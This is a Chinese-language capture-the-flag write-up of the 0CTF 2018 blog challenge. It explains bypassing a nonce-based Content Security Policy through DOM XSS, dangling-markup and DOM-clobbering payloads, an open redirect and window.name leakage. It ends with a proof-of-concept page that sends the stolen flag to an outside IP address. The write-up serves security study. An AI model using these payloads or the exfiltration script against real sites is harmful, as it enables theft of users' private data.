0CTF blog bypass csp nonce

赛后复现的一个题,用到了很多技巧,复现的过程收获很大,这篇文章从一个新手的角度来分析这道xss题目。

网站有几个功能

/new : 发布新文章
/: 查看发布的文章
/flag: flag,需要得到管理员看到的flag页面
/submit: 提交链接
/article/3869: 查看文章链接

网站的csp规则为:

Content-Security-Policy: script-src 'self' 'unsafe-inline'
Content-Security-Policy: default-src 'none'; script-src 'nonce-YR0W8GPS4XSyrpssLDEnV7EtYtM=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

很有意思的是这里用了两个csp规则,csp1和csp2都有

两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。

换个说法就是,strict-dynamic 表明我们可以运行动态生成的js, 假设我们通过动态生成script标签的方式(dom xss),成功绕过了第二个CSP,但我们引入了<script src="hacker.website">,就会被第一条CSP拦截,很有趣的技巧。

nonce的绕过我们一般是去寻找一些dom xss的点

我们再查看文章链接的地方发现网站引入了第四个js: article.js

$(document).ready(function(){
    $("body").append((effects[$("#effect").val()]));
});

很明显的dom xss

网站部分源码为:

    <h1>1</h1>
    <p id="article">
        11
    </p>
    <input type="hidden" id="effect" value="nest">

获取id为effect即input输入框的值,effects变量是在config.js中定义的,

var effects = {
    'nest': [
        '<script src="/assets/js/effects/canvas-nest.min.js"></script>'
    ],
    '3waves': [
        '<script src="/assets/js/effects/three.min.js"></script>',
        '<script src="/assets/js/effects/three-waves.min.js"></script>'
    ],
    'lines': [
        '<script src="/assets/js/effects/three.min.js"></script>',
        '<script src="/assets/js/effects/canvas-lines.min.js"></script>'
    ],
    'sphere': [
        '<script src="/assets/js/effects/three.min.js"></script>',
        '<script src="/assets/js/effects/canvas-sphere.min.js"></script>'
    ],
}

即根据我们输入的内容选择对应的js特效,但是这里输入值并没有白名单过滤(不要相信用户的输入),导致我们构造恶意的js内容

思路:

  1. 我们首先需要覆盖掉config.js
    , "><script a= 利用标签悬挂攻击我们可以覆盖掉config.js(因为nonce是动态生成的,获取到管理员的nonce也没用)
  1. 如果我们可以覆盖effects变量,那我们就可以向body注入标签了,这里需要一点小trick。
在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签

构造也比较巧妙

id"><form name="effects" id="<script>alert(1)</script>"><script a="

我们如果插入这个,就可以成功覆盖config.js和effects的内容

    <input type="hidden" id="effect" value="id"><script a=">

    <section id=" comments"="">
        <form method="post" action="" class="form">
            <label><h3>Leave A Message</h3></label>
            <textarea name="comment"></textarea>
            <button class="button outline small">Comment</button>
        </form>

        
        <h3>No articles have been published yet, plz create one.</h3>
        
    </section>

        </main>
    </div>
    <script nonce="2dvzd3OZ9hCTSMK3aDJWR1wUOfI=" src="/assets/js/config.js"></script>
    <script nonce="" src="/assets/js/jquery-3.3.1.min.js"></script>
    <script nonce="" src="/assets/js/kube.min.js"></script>
    
    <script nonce="" src="/assets/js/article.js"></script>
image.png

effect参数这里服务端限制只能写入70个字节,bypass csp1的unsafe-inline的很多方法都用不了了。

大佬给出的payload:

id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

还是可以通过xhr访问站内的链接/flag
,将flag存放在name窗口中,那么我们如何将flag传出来呢?

  1. login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转

这个漏洞有什么用呢? 无法写js,没法传出document对象

这里我们再次用到一个Tricks,一个特殊的跨域操作

http://www.cnblogs.com/zichi/p/4620656.html

这里用到了一个特殊的特性,就是window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。

我们在我们的vps上挂一个html

<html>
</html>

<script>
alert(window.name)
</script>

直接弹出name是没有任何内容的,但是我们通过该网站login?next调到我们的服务器上时会有什么变化呢,我们访问:http://202.120.7.197:8090/login?next=http://lj.s7star.cn/xss/name.html

成功弹框前一个网页的name数据

image.png

那么我们如何将我们http://202.120.7.197:8090/article/3879 网站的name发出来呢?

我们再我们vps上再挂个html:

<html>
<iframe name="tt" src="http://202.120.7.197:8090/article/3879"></iframe>
</html>

<script>
alert(window.name)
</script>

我们添加了一个iframe指向我们的文章,因为该网站并没有设置x-frame-options选项,因此可以被嵌入,因为浏览器会保存cookie,因此iframe里面的页面无需登陆就可以访问到。

frames[0].document
VM1835:1 Uncaught DOMException: Blocked a frame with origin "http://lj.s7star.cn" from accessing a cross-origin frame.
    at <anonymous>:1:11
(anonymous) @ VM1835:1
frames[0].window.name
VM2087:1 Uncaught DOMException: Blocked a frame with origin "http://lj.s7star.cn" from accessing a cross-origin frame.
    at <anonymous>:1:18
frames[0].location="/"
"/"
name
""
frames[0].name
"flag{ONLY_4dmin_can_r3ad_7h!s}"

在我们的vps网站上测试,虽然因为同源策略限制我们无法访问iframe里面的dom,也无法直接获取iframe的name值,但我们可以改变window.href调到我们的首页来,此时iframe已经和我们的vps同源,我们就可以将name带出来并且访问成功了.

知道怎么带出来后我们就可以顺利写出poc了.

<iframe src="http://202.120.7.197:8090/article/3879"></iframe>
<script>
    setTimeout(()=>{frames[0].window.location.href='/'},1200)
console.log(frames[0].name);
    setTimeout(()=>{location.href='http://123.206.65.167:2000/?'+frames[0].window.name},1500)
</script>

上面这段就不难理解了,先用iframe指向含有xss的文章链接,通过location.href跳到我们的vps上面来,并将name带出来,获取iframe的name窗口值并发送到我们监听的端口上。

最后提交我们的链接:

http://202.120.7.197:8090/login?next=http://lj.s7star.cn/xss/evil.html
image.png

参考:

https://lorexxar.cn/2018/04/05/0ctf2018-blog/

https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容